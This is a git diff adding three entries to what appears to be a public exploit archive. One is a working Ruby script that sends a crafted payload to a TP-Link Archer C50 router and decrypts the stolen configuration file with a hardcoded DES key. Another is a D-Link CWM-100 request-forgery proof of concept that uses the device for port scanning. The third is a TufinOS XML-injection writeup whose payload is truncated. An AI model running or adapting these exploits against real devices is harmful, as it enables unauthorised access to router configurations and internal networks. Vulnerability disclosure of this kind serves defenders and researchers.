diff --git a/exploits/hardware/webapps/45811.rb b/exploits/hardware/webapps/45811.rb new file mode 100755 index 000000000..11ce7872b --- /dev/null +++ b/exploits/hardware/webapps/45811.rb @@ -0,0 +1,72 @@ +# Exploit Title: TP-Link Archer C50 Wireless Router 171227 - Cross-Site Request Forgery (Configuration File Disclosure) +# Date: 2018-11-07 +# Exploit Author: Wadeek +# Vendor Homepage: https://www.tp-link.com/ +# Hardware Version: Archer C50 v3 00000001 +# Firmware Link: https://www.tp-link.com/download/Archer-C50_V3.html#Firmware +# Firmware Version: <= Build 171227 + +#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +url = "http://192.168.0.1:80/" +#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +require('base64') +require('openssl') +require('mechanize') +agent = Mechanize.new() +# require HTTP Proxy (chunk error) +agent.set_proxy("127.0.0.1", "8080") + +def scan(agent, url, path, query) +begin + puts(path) + response = agent.post(url+path, query, { + "User-Agent" => "", + "Accept" => "*/*", + "Referer" => "http://192.168.0.1/mainFrame.htm", + "Content-Type" => "text/plain", + "Connection" => "keep-alive", + "Cookie" => "" + }) +rescue Exception => e + begin + puts(e.inspect()) + # + body = e.page().body() + content = Base64.decode64(body.scan(/ZAP Error \[java\.io\.IOException\]\: Bad chunk size\: (.*)/).join()) + puts(body.inspect()) + cipher = OpenSSL::Cipher.new("des-ecb") + cipher.key = "478DA50BF9E3D2CF" + cipher.decrypt() + output = cipher.update(content) + # + file = File.open("conf.bin.raw", "wb") + file.write(output) + file.close() + rescue Exception => e + puts(e) + end + puts("") +end +end + +#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +payload = "\x5b\x49\x47\x44\x5f\x44\x45\x56\x5f\x49\x4e\x46\x4f\x23\x30"+ +"\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x23\x30\x2c\x30\x2c"+ +"\x30\x2c\x30\x2c\x30\x2c\x30\x5d\x30\x2c\x34\xd\xa\x6d\x6f\x64"+ +"\x65\x6c\x4e\x61\x6d\x65\xd\xa\x64\x65\x73\x63\x72\x69\x70\x74"+ +"\x69\x6f\x6e\xd\xa\x58\x5f\x54\x50\x5f\x69\x73\x46\x44\xd\xa\x58"+ +"\x5f\x54\x50\x5f\x50\x72\x6f\x64\x75\x63\x74\x56\x65\x72\x73\x69"+ +"\x6f\x6e\xd\xa\x5b\x45\x54\x48\x5f\x53\x57\x49\x54\x43\x48\x23\x30"+ +"\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x23\x30\x2c\x30\x2c\x30\x2c"+ +"\x30\x2c\x30\x2c\x30\x5d\x31\x2c\x31\xd\xa\x6e\x75\x6d\x62\x65\x72"+ +"\x4f\x66\x56\x69\x72\x74\x75\x61\x6c\x50\x6f\x72\x74\x73\xd\xa\x5b"+ +"\x53\x59\x53\x5f\x4d\x4f\x44\x45\x23\x30\x2c\x30\x2c\x30\x2c\x30\x2c"+ +"\x30\x2c\x30\x23\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x5d\x32"+ +"\x2c\x31\xd\xa\x6d\x6f\x64\x65\xd\xa\x5b\x2f\x63\x67\x69\x2f\x63\x6f"+ +"\x6e\x66\x65\x6e\x63\x6f\x64\x65\x23\x30\x2c\x30\x2c\x30\x2c\x30"+ +"\x2c\x30\x2c\x30\x23\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30"+ +"\x5d\x33\x2c\x30\xd\xa\x3d" +#puts(payload) +scan(agent, url, "cgi?1&1&1&8", payload) +#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! \ No newline at end of file diff --git a/exploits/hardware/webapps/45818.txt b/exploits/hardware/webapps/45818.txt new file mode 100644 index 000000000..1737998eb --- /dev/null +++ b/exploits/hardware/webapps/45818.txt @@ -0,0 +1,28 @@ +# Exploit Title: D-LINK Central WifiManager CWM-100 - Server-Side Request Forgery +# Author: John Page (aka hyp3rlinx) +# Date: 2018-11-09 +# Vendor: http://us.dlink.com +# Product Link: http://us.dlink.com/products/business-solutions/central-wifimanager-software-controller/ +# Version: Version 1.03 r0098 +# CVE: N/A +# References: + +# [Security Issue] +# Using a web browser or script SSRF can be initiated against internal/external systems +# to conduct port scans by leveraging D-LINKs MailConnect component. + +# The MailConnect feature on D-Link Central WiFiManager CWM-100 1.03 r0098 devices is intended +# to check a connection to an SMTP server but actually allows outbound TCP to any port on any IP address, +# leading to SSRF, as demonstrated by an index.php/System/MailConnect/host/127.0.0.1/port/22/secure/ URI. +# This can undermine accountability of where scan or connections actually came from and or bypass +# the FW etc. This can be automated via script or using Web Browser. + +# [Exploit/POC] +https://VICTIM-IP/index.php/System/MailConnect/host/port/secure/ + +reply: OK + +#Scan internal port 22 SSH: + +https://VICTIM-IP/index.php/System/MailConnect/host/VICTIM-IP/port/22/secure/ +reply: OK \ No newline at end of file diff --git a/exploits/linux/webapps/45808.txt b/exploits/linux/webapps/45808.txt new file mode 100644 index 000000000..052cce8c1 --- /dev/null +++ b/exploits/linux/webapps/45808.txt @@ -0,0 +1,47 @@ +# Exploit Title: TufinOS 2.17 Build 1193 - XML External Entity Injection +# Exploit Author: konstantinos Alexiou +# Date: 2018-10-18 +# Vendor: https://www.tufin.com +# Software Link: https://www.tufin.com/tufin-orchestration-suite/securetrack +# CVE: N/A +# Category: webapps + +# 1. Description +# The SecureTrack application is vulnerable to XML External Entity injection. +# This attack is considered quite serious and can be used to: +# (1) Retrieve confidential data +# (2) Perform denial of service +# (3) Execute server side request forgery attacks +# (4) Perform port scanning through the machine on other systems + +# The issue was identified inside the "Audit" > "Best Practices" module of the "SecureTrack" +# application when creating a new Best Practices query and manipulating the "xml" parameter +# in the request. When the vulnerability is triggered it doesn't directly return anything +# to the attacker but rather the contents of the requested file are written inside +# the name field of a best practices. This vulnerability affects every "SecureTrack" +# application authentication user role. + +# 2. Proof of Concept +# Step 1: Login to the "SecureTrack" application using any user and then navigate to +# "Audit" > "Best Practices". +# Step 2: Create and submit a "New Query" while intercepting the traffic: +# Step 3: Send the request to repeater and change it to include the following +# payload after the "xml=" input field: +--> + + ]> + +